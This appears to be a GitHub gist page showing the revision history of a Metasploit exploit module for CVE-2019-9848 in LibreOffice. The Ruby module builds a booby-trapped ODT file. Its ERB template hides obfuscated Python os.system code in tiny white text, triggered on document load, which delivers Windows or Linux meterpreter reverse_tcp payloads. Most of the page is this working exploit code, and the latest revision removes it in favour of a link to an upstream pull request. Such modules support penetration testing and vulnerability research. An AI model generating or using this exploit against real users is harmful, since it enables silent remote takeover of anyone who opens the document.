Skip to content

Instantly share code, notes, and snippets.

@LoadLow

LoadLow/Readme.md

Last active August 18, 2019 12:31
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save LoadLow/642ebe79cb0b1fdd99fefdf232b40451 to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save LoadLow/642ebe79cb0b1fdd99fefdf232b40451 to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. LoadLow revised this gist Aug 18, 2019. 3 changed files with 3 additions and 157 deletions.
    3 changes: 3 additions & 0 deletions Readme.md
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,3 @@
    # PR created in Metasploit Framework repository

    https://github.com/rapid7/metasploit-framework/pull/12207
    42 changes: 0 additions & 42 deletions librefile.erb
    View file
    Original file line number Diff line number Diff line change
    @@ -1,42 +0,0 @@
    <?xml version="1.0" encoding="UTF-8"?>

    <office:document xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0" xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0" xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:number="urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0" xmlns:svg="urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0" xmlns:chart="urn:oasis:names:tc:opendocument:xmlns:chart:1.0" xmlns:dr3d="urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0" xmlns:math="http://www.w3.org/1998/Math/MathML" xmlns:form="urn:oasis:names:tc:opendocument:xmlns:form:1.0" xmlns:script="urn:oasis:names:tc:opendocument:xmlns:script:1.0" xmlns:config="urn:oasis:names:tc:opendocument:xmlns:config:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:ooow="http://openoffice.org/2004/writer" xmlns:oooc="http://openoffice.org/2004/calc" xmlns:dom="http://www.w3.org/2001/xml-events" xmlns:xforms="http://www.w3.org/2002/xforms" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:rpt="http://openoffice.org/2005/report" xmlns:of="urn:oasis:names:tc:opendocument:xmlns:of:1.2" xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns:grddl="http://www.w3.org/2003/g/data-view#" xmlns:officeooo="http://openoffice.org/2009/office" xmlns:tableooo="http://openoffice.org/2009/table" xmlns:drawooo="http://openoffice.org/2010/draw" xmlns:calcext="urn:org:documentfoundation:names:experimental:calc:xmlns:calcext:1.0" xmlns:loext="urn:org:documentfoundation:names:experimental:office:xmlns:loext:1.0" xmlns:field="urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0" xmlns:formx="urn:openoffice:names:experimental:ooxml-odf-interop:xmlns:form:1.0" xmlns:css3t="http://www.w3.org/TR/css3-text/" office:version="1.2" office:mimetype="application/vnd.oasis.opendocument.text">
    <office:meta><meta:creation-date>2019-01-30T10:53:06.762000000</meta:creation-date><dc:date>2019-01-30T10:53:49.512000000</dc:date><meta:editing-duration>PT44S</meta:editing-duration><meta:editing-cycles>1</meta:editing-cycles><meta:document-statistic meta:table-count="0" meta:image-count="0" meta:object-count="0" meta:page-count="1" meta:paragraph-count="1" meta:word-count="1" meta:character-count="4" meta:non-whitespace-character-count="4"/><meta:generator>LibreOffice/6.1.2.1$Windows_X86_64 LibreOffice_project/65905a128db06ba48db947242809d14d3f9a93fe</meta:generator></office:meta>
    <office:scripts><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:load" xlink:href="vnd.sun.star.script:LibreLogo|LibreLogo.py$run?language=Python&amp;location=share" xlink:type="simple"/></office:event-listeners></office:scripts>
    <office:styles>
    <style:default-style style:family="graphic">
    <style:graphic-properties svg:stroke-color="#3465a4" draw:fill-color="#729fcf" fo:wrap-option="no-wrap" draw:shadow-offset-x="0.1181in" draw:shadow-offset-y="0.1181in" draw:start-line-spacing-horizontal="0.1114in" draw:start-line-spacing-vertical="0.1114in" draw:end-line-spacing-horizontal="0.1114in" draw:end-line-spacing-vertical="0.1114in" style:flow-with-text="false"/>
    <style:paragraph-properties style:text-autospace="ideograph-alpha" style:line-break="strict" style:font-independent-line-spacing="false">
    <style:tab-stops/>
    </style:paragraph-properties>
    <style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="96pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="96pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="96pt" style:language-complex="hi" style:country-complex="IN"/>
    </style:default-style>
    <style:default-style style:family="paragraph">
    <style:paragraph-properties fo:orphans="2" fo:widows="2" fo:hyphenation-ladder-count="no-limit" style:text-autospace="ideograph-alpha" style:punctuation-wrap="hanging" style:line-break="strict" style:tab-stop-distance="0.4925in" style:writing-mode="page"/>
    <style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="96pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="96pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="96pt" style:language-complex="hi" style:country-complex="IN" fo:hyphenate="false" fo:hyphenation-remain-char-count="2" fo:hyphenation-push-char-count="2"/>
    </style:default-style>
    <style:default-style style:family="table">
    <style:table-properties table:border-model="collapsing"/>
    </style:default-style>
    <style:default-style style:family="table-row">
    <style:table-row-properties fo:keep-together="auto"/>
    </style:default-style>
    <style:style style:name="Standard" style:family="paragraph" style:class="text" fo:color="#ffffff"/>
    <style:style style:name="Text_20_body" style:display-name="Text body" style:family="paragraph" style:parent-style-name="Standard" style:class="text">
    <style:paragraph-properties fo:margin-top="0in" fo:margin-bottom="0.0972in" loext:contextual-spacing="false" fo:line-height="20%"/>
    </style:style>
    <style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text">
    <style:text-properties fo:color="#ffffff" fo:language="zxx" fo:country="none" style:text-underline-style="solid" style:text-underline-width="auto" style:text-underline-color="font-color" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/>
    </style:style>
    <style:style style:name="P8" style:family="paragraph" style:parent-style-name="Preformatted_20_Text"><style:text-properties fo:color="#ffffff" fo:font-size="2pt" officeooo:rsid="00443c94" officeooo:paragraph-rsid="00443c94" style:font-size-asian="2pt" style:font-size-complex="2pt"/></style:style>
    </office:styles>
    <office:master-styles>
    <style:master-page style:name="Standard" style:page-layout-name="pm1"/>
    </office:master-styles>
    <office:body>
    <office:text>
    <text:p text:style-name="P8">&#x67;&#x65;&#x74;&#x61;&#x74;&#x74;&#x72;(&#x5f;&#x5f;&#x69;&#x6d;&#x70;&#x6f;&#x72;&#x74;&#x5f;&#x5f;(&#x201C;\x6f\&#x78;73&#x201D;),&#x201C;\&#x78;73\&#x78;79\&#x78;73\&#x78;74\x65\&#x78;6d&#x201D;)(“<%= @cmd %>”)</text:p>
    <text:p text:style-name="Standard">#<%= text_content %></text:p>
    </office:text>
    </office:body>
    </office:document>
    115 changes: 0 additions & 115 deletions libreoffice_logo_exec.rb
    View file
    Original file line number Diff line number Diff line change
    @@ -1,115 +0,0 @@
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##

    class MetasploitModule < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::FILEFORMAT
    include Msf::Exploit::Powershell
    include Msf::Exploit::CmdStager

    def initialize(info = {})
    super(update_info(info,
    'Name' => 'LibreOffice Macro Python Code Execution',
    'Description' => %q{
    LibreOffice comes bundled with sample macros written in Python and
    allows the ability to bind program events to them.
    LibreLogo is a macro that allows a program event to execute text as Python code, allowing RCE.
    This module generates an ODT file with a dom loaded event that,
    when triggered, will execute arbitrary python code and the metasploit payload.
    },
    'License' => MSF_LICENSE,
    'Author' =>
    [
    'Nils Emmerich', # Vulnerability discovery and PoC
    'Shelby Pace', # Based on this module (exploiting CVE-2018-16858)
    'LoadLow' # This msf module
    ],
    'References' =>
    [
    [ 'CVE', '2019-9848' ],
    [ 'URL', 'https://insinuator.net/2019/07/libreoffice-a-python-interpreter-code-execution-vulnerability-cve-2019-9848/' ]
    ],
    'Platform' => [ 'win', 'linux' ],
    'Arch' => [ ARCH_X86, ARCH_X64 ],
    'Targets' =>
    [
    [
    'Windows',
    {
    'Platform' => 'win',
    'Arch' => [ ARCH_X86, ARCH_X64 ],
    'payload' => 'windows/meterpreter/reverse_tcp',
    'DefaultOptions' => { 'PrependMigrate' => true }
    }
    ],
    [
    'Linux',
    {
    'Platform' => 'linux',
    'Arch' => [ ARCH_X86, ARCH_X64 ],
    'payload' => 'linux/x86/meterpreter/reverse_tcp',
    'DefaultOptions' => { 'PrependFork' => true },
    'CmdStagerFlavor' => 'printf',
    }
    ]
    ],
    'DisclosureDate' => "2019-07-16",
    'DefaultTarget' => 0
    ))

    register_options(
    [
    OptString.new('FILENAME', [true, 'Output file name', 'librefile.odt'])
    ])
    end

    def encode_cmd
    @cmd = Rex::Text.html_encode(@cmd)
    @cmd = @cmd.gsub("&#x41;", "\\x41")
    end

    def gen_windows_cmd
    opts =
    {
    :remove_comspec => true,
    :method => 'reflection',
    :encode_final_payload => true
    }
    @cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, opts)
    end

    def gen_linux_cmd
    @cmd = generate_cmdstager.first
    @cmd = @cmd.gsub!("\\", "\\\\\\")
    @cmd = @cmd.gsub!("'", "\"")
    end

    def gen_file()
    text_content = "My Report"
    encode_cmd

    fodt_file = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2019-9848', 'librefile.erb'))
    libre_file = ERB.new(fodt_file).result(binding())
    libre_file
    rescue Errno::ENOENT
    fail_with(Failure::NotFound, 'Cannot find template file')
    end

    def exploit
    if datastore['TARGET'] == 0
    gen_windows_cmd
    elsif datastore['TARGET'] == 1
    gen_linux_cmd
    else
    fail_with(Failure::BadConfig, 'A formal target was not chosen.')
    end
    fodt_file = gen_file

    file_create(fodt_file)
    end
    end
  2. LoadLow revised this gist Jul 30, 2019. 1 changed file with 3 additions and 3 deletions.
    6 changes: 3 additions & 3 deletions libreoffice_logo_exec.rb
    View file
    Original file line number Diff line number Diff line change
    @@ -1,4 +1,4 @@
    ##
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    @@ -31,7 +31,7 @@ def initialize(info = {})
    ],
    'References' =>
    [
    [ 'CVE', 'CVE-2019-9848' ],
    [ 'CVE', '2019-9848' ],
    [ 'URL', 'https://insinuator.net/2019/07/libreoffice-a-python-interpreter-code-execution-vulnerability-cve-2019-9848/' ]
    ],
    'Platform' => [ 'win', 'linux' ],
    @@ -58,7 +58,7 @@ def initialize(info = {})
    }
    ]
    ],
    'DisclosureDate' => "July 16, 2019",
    'DisclosureDate' => "2019-07-16",
    'DefaultTarget' => 0
    ))

  3. LoadLow revised this gist Jul 30, 2019. No changes.
  4. LoadLow revised this gist Jul 30, 2019. 1 changed file with 5 additions and 5 deletions.
    10 changes: 5 additions & 5 deletions libreoffice_logo_exec.rb
    View file
    Original file line number Diff line number Diff line change
    @@ -1,4 +1,4 @@
    ##
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    @@ -43,7 +43,7 @@ def initialize(info = {})
    {
    'Platform' => 'win',
    'Arch' => [ ARCH_X86, ARCH_X64 ],
    'Payload' => 'windows/meterpreter/reverse_tcp',
    'payload' => 'windows/meterpreter/reverse_tcp',
    'DefaultOptions' => { 'PrependMigrate' => true }
    }
    ],
    @@ -52,7 +52,7 @@ def initialize(info = {})
    {
    'Platform' => 'linux',
    'Arch' => [ ARCH_X86, ARCH_X64 ],
    'Payload' => 'linux/x86/meterpreter/reverse_tcp',
    'payload' => 'linux/x86/meterpreter/reverse_tcp',
    'DefaultOptions' => { 'PrependFork' => true },
    'CmdStagerFlavor' => 'printf',
    }
    @@ -81,12 +81,12 @@ def gen_windows_cmd
    :encode_final_payload => true
    }
    @cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, opts)
    @cmd << ' &amp;&amp; echo'
    end

    def gen_linux_cmd
    @cmd = generate_cmdstager.first
    @cmd << ' &amp;&amp; echo'
    @cmd = @cmd.gsub!("\\", "\\\\\\")
    @cmd = @cmd.gsub!("'", "\"")
    end

    def gen_file()
  5. LoadLow revised this gist Jul 29, 2019. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion librefile.erb
    View file
    Original file line number Diff line number Diff line change
    @@ -2,7 +2,7 @@

    <office:document xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0" xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0" xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:number="urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0" xmlns:svg="urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0" xmlns:chart="urn:oasis:names:tc:opendocument:xmlns:chart:1.0" xmlns:dr3d="urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0" xmlns:math="http://www.w3.org/1998/Math/MathML" xmlns:form="urn:oasis:names:tc:opendocument:xmlns:form:1.0" xmlns:script="urn:oasis:names:tc:opendocument:xmlns:script:1.0" xmlns:config="urn:oasis:names:tc:opendocument:xmlns:config:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:ooow="http://openoffice.org/2004/writer" xmlns:oooc="http://openoffice.org/2004/calc" xmlns:dom="http://www.w3.org/2001/xml-events" xmlns:xforms="http://www.w3.org/2002/xforms" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:rpt="http://openoffice.org/2005/report" xmlns:of="urn:oasis:names:tc:opendocument:xmlns:of:1.2" xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns:grddl="http://www.w3.org/2003/g/data-view#" xmlns:officeooo="http://openoffice.org/2009/office" xmlns:tableooo="http://openoffice.org/2009/table" xmlns:drawooo="http://openoffice.org/2010/draw" xmlns:calcext="urn:org:documentfoundation:names:experimental:calc:xmlns:calcext:1.0" xmlns:loext="urn:org:documentfoundation:names:experimental:office:xmlns:loext:1.0" xmlns:field="urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0" xmlns:formx="urn:openoffice:names:experimental:ooxml-odf-interop:xmlns:form:1.0" xmlns:css3t="http://www.w3.org/TR/css3-text/" office:version="1.2" office:mimetype="application/vnd.oasis.opendocument.text">
    <office:meta><meta:creation-date>2019-01-30T10:53:06.762000000</meta:creation-date><dc:date>2019-01-30T10:53:49.512000000</dc:date><meta:editing-duration>PT44S</meta:editing-duration><meta:editing-cycles>1</meta:editing-cycles><meta:document-statistic meta:table-count="0" meta:image-count="0" meta:object-count="0" meta:page-count="1" meta:paragraph-count="1" meta:word-count="1" meta:character-count="4" meta:non-whitespace-character-count="4"/><meta:generator>LibreOffice/6.1.2.1$Windows_X86_64 LibreOffice_project/65905a128db06ba48db947242809d14d3f9a93fe</meta:generator></office:meta>
    <office:scripts><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:load" xlink:href="vnd.sun.star.script:LibreLogo|LibreLogo.py$run?language=Python&amp;location=share" xlink:type="simple"/><script:event-listener script:language="ooo:script" script:event-name="dom:DOMFocusIn" xlink:href="vnd.sun.star.script:LibreLogo|LibreLogo.py$run?language=Python&amp;location=share" xlink:type="simple"/></office:event-listeners></office:scripts>
    <office:scripts><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:load" xlink:href="vnd.sun.star.script:LibreLogo|LibreLogo.py$run?language=Python&amp;location=share" xlink:type="simple"/></office:event-listeners></office:scripts>
    <office:styles>
    <style:default-style style:family="graphic">
    <style:graphic-properties svg:stroke-color="#3465a4" draw:fill-color="#729fcf" fo:wrap-option="no-wrap" draw:shadow-offset-x="0.1181in" draw:shadow-offset-y="0.1181in" draw:start-line-spacing-horizontal="0.1114in" draw:start-line-spacing-vertical="0.1114in" draw:end-line-spacing-horizontal="0.1114in" draw:end-line-spacing-vertical="0.1114in" style:flow-with-text="false"/>
  6. LoadLow revised this gist Jul 29, 2019. 1 changed file with 4 additions and 4 deletions.
    8 changes: 4 additions & 4 deletions libreoffice_logo_exec.rb
    View file
    Original file line number Diff line number Diff line change
    @@ -35,8 +35,8 @@ def initialize(info = {})
    [ 'URL', 'https://insinuator.net/2019/07/libreoffice-a-python-interpreter-code-execution-vulnerability-cve-2019-9848/' ]
    ],
    'Platform' => [ 'win', 'linux' ],
    'Arch' => [ ARCH_X86, ARCH_X64 ],
    'Targets' =>
    'Arch' => [ ARCH_X86, ARCH_X64 ],
    'Targets' =>
    [
    [
    'Windows',
    @@ -70,7 +70,7 @@ def initialize(info = {})

    def encode_cmd
    @cmd = Rex::Text.html_encode(@cmd)
    @cmd = @cmd.gsub("&#x41;", "\\x41")
    @cmd = @cmd.gsub("&#x41;", "\\x41")
    end

    def gen_windows_cmd
    @@ -91,7 +91,7 @@ def gen_linux_cmd

    def gen_file()
    text_content = "My Report"
    encode_cmd
    encode_cmd

    fodt_file = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2019-9848', 'librefile.erb'))
    libre_file = ERB.new(fodt_file).result(binding())
  7. LoadLow created this gist Jul 29, 2019.
    42 changes: 42 additions & 0 deletions librefile.erb
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,42 @@
    <?xml version="1.0" encoding="UTF-8"?>

    <office:document xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0" xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0" xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:number="urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0" xmlns:svg="urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0" xmlns:chart="urn:oasis:names:tc:opendocument:xmlns:chart:1.0" xmlns:dr3d="urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0" xmlns:math="http://www.w3.org/1998/Math/MathML" xmlns:form="urn:oasis:names:tc:opendocument:xmlns:form:1.0" xmlns:script="urn:oasis:names:tc:opendocument:xmlns:script:1.0" xmlns:config="urn:oasis:names:tc:opendocument:xmlns:config:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:ooow="http://openoffice.org/2004/writer" xmlns:oooc="http://openoffice.org/2004/calc" xmlns:dom="http://www.w3.org/2001/xml-events" xmlns:xforms="http://www.w3.org/2002/xforms" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:rpt="http://openoffice.org/2005/report" xmlns:of="urn:oasis:names:tc:opendocument:xmlns:of:1.2" xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns:grddl="http://www.w3.org/2003/g/data-view#" xmlns:officeooo="http://openoffice.org/2009/office" xmlns:tableooo="http://openoffice.org/2009/table" xmlns:drawooo="http://openoffice.org/2010/draw" xmlns:calcext="urn:org:documentfoundation:names:experimental:calc:xmlns:calcext:1.0" xmlns:loext="urn:org:documentfoundation:names:experimental:office:xmlns:loext:1.0" xmlns:field="urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0" xmlns:formx="urn:openoffice:names:experimental:ooxml-odf-interop:xmlns:form:1.0" xmlns:css3t="http://www.w3.org/TR/css3-text/" office:version="1.2" office:mimetype="application/vnd.oasis.opendocument.text">
    <office:meta><meta:creation-date>2019-01-30T10:53:06.762000000</meta:creation-date><dc:date>2019-01-30T10:53:49.512000000</dc:date><meta:editing-duration>PT44S</meta:editing-duration><meta:editing-cycles>1</meta:editing-cycles><meta:document-statistic meta:table-count="0" meta:image-count="0" meta:object-count="0" meta:page-count="1" meta:paragraph-count="1" meta:word-count="1" meta:character-count="4" meta:non-whitespace-character-count="4"/><meta:generator>LibreOffice/6.1.2.1$Windows_X86_64 LibreOffice_project/65905a128db06ba48db947242809d14d3f9a93fe</meta:generator></office:meta>
    <office:scripts><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:load" xlink:href="vnd.sun.star.script:LibreLogo|LibreLogo.py$run?language=Python&amp;location=share" xlink:type="simple"/><script:event-listener script:language="ooo:script" script:event-name="dom:DOMFocusIn" xlink:href="vnd.sun.star.script:LibreLogo|LibreLogo.py$run?language=Python&amp;location=share" xlink:type="simple"/></office:event-listeners></office:scripts>
    <office:styles>
    <style:default-style style:family="graphic">
    <style:graphic-properties svg:stroke-color="#3465a4" draw:fill-color="#729fcf" fo:wrap-option="no-wrap" draw:shadow-offset-x="0.1181in" draw:shadow-offset-y="0.1181in" draw:start-line-spacing-horizontal="0.1114in" draw:start-line-spacing-vertical="0.1114in" draw:end-line-spacing-horizontal="0.1114in" draw:end-line-spacing-vertical="0.1114in" style:flow-with-text="false"/>
    <style:paragraph-properties style:text-autospace="ideograph-alpha" style:line-break="strict" style:font-independent-line-spacing="false">
    <style:tab-stops/>
    </style:paragraph-properties>
    <style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="96pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="96pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="96pt" style:language-complex="hi" style:country-complex="IN"/>
    </style:default-style>
    <style:default-style style:family="paragraph">
    <style:paragraph-properties fo:orphans="2" fo:widows="2" fo:hyphenation-ladder-count="no-limit" style:text-autospace="ideograph-alpha" style:punctuation-wrap="hanging" style:line-break="strict" style:tab-stop-distance="0.4925in" style:writing-mode="page"/>
    <style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="96pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="96pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="96pt" style:language-complex="hi" style:country-complex="IN" fo:hyphenate="false" fo:hyphenation-remain-char-count="2" fo:hyphenation-push-char-count="2"/>
    </style:default-style>
    <style:default-style style:family="table">
    <style:table-properties table:border-model="collapsing"/>
    </style:default-style>
    <style:default-style style:family="table-row">
    <style:table-row-properties fo:keep-together="auto"/>
    </style:default-style>
    <style:style style:name="Standard" style:family="paragraph" style:class="text" fo:color="#ffffff"/>
    <style:style style:name="Text_20_body" style:display-name="Text body" style:family="paragraph" style:parent-style-name="Standard" style:class="text">
    <style:paragraph-properties fo:margin-top="0in" fo:margin-bottom="0.0972in" loext:contextual-spacing="false" fo:line-height="20%"/>
    </style:style>
    <style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text">
    <style:text-properties fo:color="#ffffff" fo:language="zxx" fo:country="none" style:text-underline-style="solid" style:text-underline-width="auto" style:text-underline-color="font-color" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/>
    </style:style>
    <style:style style:name="P8" style:family="paragraph" style:parent-style-name="Preformatted_20_Text"><style:text-properties fo:color="#ffffff" fo:font-size="2pt" officeooo:rsid="00443c94" officeooo:paragraph-rsid="00443c94" style:font-size-asian="2pt" style:font-size-complex="2pt"/></style:style>
    </office:styles>
    <office:master-styles>
    <style:master-page style:name="Standard" style:page-layout-name="pm1"/>
    </office:master-styles>
    <office:body>
    <office:text>
    <text:p text:style-name="P8">&#x67;&#x65;&#x74;&#x61;&#x74;&#x74;&#x72;(&#x5f;&#x5f;&#x69;&#x6d;&#x70;&#x6f;&#x72;&#x74;&#x5f;&#x5f;(&#x201C;\x6f\&#x78;73&#x201D;),&#x201C;\&#x78;73\&#x78;79\&#x78;73\&#x78;74\x65\&#x78;6d&#x201D;)(“<%= @cmd %>”)</text:p>
    <text:p text:style-name="Standard">#<%= text_content %></text:p>
    </office:text>
    </office:body>
    </office:document>
    115 changes: 115 additions & 0 deletions libreoffice_logo_exec.rb
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,115 @@
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##

    class MetasploitModule < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::FILEFORMAT
    include Msf::Exploit::Powershell
    include Msf::Exploit::CmdStager

    def initialize(info = {})
    super(update_info(info,
    'Name' => 'LibreOffice Macro Python Code Execution',
    'Description' => %q{
    LibreOffice comes bundled with sample macros written in Python and
    allows the ability to bind program events to them.
    LibreLogo is a macro that allows a program event to execute text as Python code, allowing RCE.
    This module generates an ODT file with a dom loaded event that,
    when triggered, will execute arbitrary python code and the metasploit payload.
    },
    'License' => MSF_LICENSE,
    'Author' =>
    [
    'Nils Emmerich', # Vulnerability discovery and PoC
    'Shelby Pace', # Based on this module (exploiting CVE-2018-16858)
    'LoadLow' # This msf module
    ],
    'References' =>
    [
    [ 'CVE', 'CVE-2019-9848' ],
    [ 'URL', 'https://insinuator.net/2019/07/libreoffice-a-python-interpreter-code-execution-vulnerability-cve-2019-9848/' ]
    ],
    'Platform' => [ 'win', 'linux' ],
    'Arch' => [ ARCH_X86, ARCH_X64 ],
    'Targets' =>
    [
    [
    'Windows',
    {
    'Platform' => 'win',
    'Arch' => [ ARCH_X86, ARCH_X64 ],
    'Payload' => 'windows/meterpreter/reverse_tcp',
    'DefaultOptions' => { 'PrependMigrate' => true }
    }
    ],
    [
    'Linux',
    {
    'Platform' => 'linux',
    'Arch' => [ ARCH_X86, ARCH_X64 ],
    'Payload' => 'linux/x86/meterpreter/reverse_tcp',
    'DefaultOptions' => { 'PrependFork' => true },
    'CmdStagerFlavor' => 'printf',
    }
    ]
    ],
    'DisclosureDate' => "July 16, 2019",
    'DefaultTarget' => 0
    ))

    register_options(
    [
    OptString.new('FILENAME', [true, 'Output file name', 'librefile.odt'])
    ])
    end

    def encode_cmd
    @cmd = Rex::Text.html_encode(@cmd)
    @cmd = @cmd.gsub("&#x41;", "\\x41")
    end

    def gen_windows_cmd
    opts =
    {
    :remove_comspec => true,
    :method => 'reflection',
    :encode_final_payload => true
    }
    @cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, opts)
    @cmd << ' &amp;&amp; echo'
    end

    def gen_linux_cmd
    @cmd = generate_cmdstager.first
    @cmd << ' &amp;&amp; echo'
    end

    def gen_file()
    text_content = "My Report"
    encode_cmd

    fodt_file = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2019-9848', 'librefile.erb'))
    libre_file = ERB.new(fodt_file).result(binding())
    libre_file
    rescue Errno::ENOENT
    fail_with(Failure::NotFound, 'Cannot find template file')
    end

    def exploit
    if datastore['TARGET'] == 0
    gen_windows_cmd
    elsif datastore['TARGET'] == 1
    gen_linux_cmd
    else
    fail_with(Failure::BadConfig, 'A formal target was not chosen.')
    end
    fodt_file = gen_file

    file_create(fodt_file)
    end
    end